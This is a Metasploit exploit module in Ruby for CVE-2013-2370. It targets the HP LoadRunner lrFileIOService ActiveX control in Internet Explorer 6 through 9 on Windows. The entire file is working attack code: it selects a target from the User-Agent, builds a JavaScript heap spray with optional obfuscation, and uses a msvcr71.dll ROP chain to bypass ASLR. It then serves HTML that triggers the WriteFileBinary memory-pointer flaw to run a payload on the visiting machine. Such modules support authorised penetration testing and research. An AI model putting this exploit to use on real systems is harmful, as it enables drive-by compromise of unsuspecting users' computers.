##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
:method => "WriteFileBinary"
})
def initialize(info={})
super(update_info(info,
'Name' => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method
where user provided data is used as a memory pointer. This module has been tested
successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll
11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is
used. This one is installed with HP LoadRunner.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2370' ],
[ 'OSVDB', '95640' ],
[ 'BID', '61441'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ],
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'PrependMigrate' => true
},
'Platform' => 'win',
'Targets' =>
[
# LrWebIERREWrapper.dll 11.50.2216.0
[ 'Automatic', {} ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
],
'Privileged' => false,
'DisclosureDate' => "Jul 24 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
# Land the payload at 0x0c0c0c0c
case my_target
when targets[6]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|
else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
fake_object = [
0x0c0c0c0c, # fake vftable pointer
0x0c0c0c14 # function pointer
].pack("V*")
# No rop. Just return the payload.
return fake_object + code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using msvcr71.dll ROP")
fake_object = [
0x0c0c0c0c, # fake vftable pointer
0x7c342643 # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn
].pack("V*")
rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
object_id = rand_text_alpha(rand(10) + 8)
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object>
<script language='javascript'>
#{object_id}.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c);
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
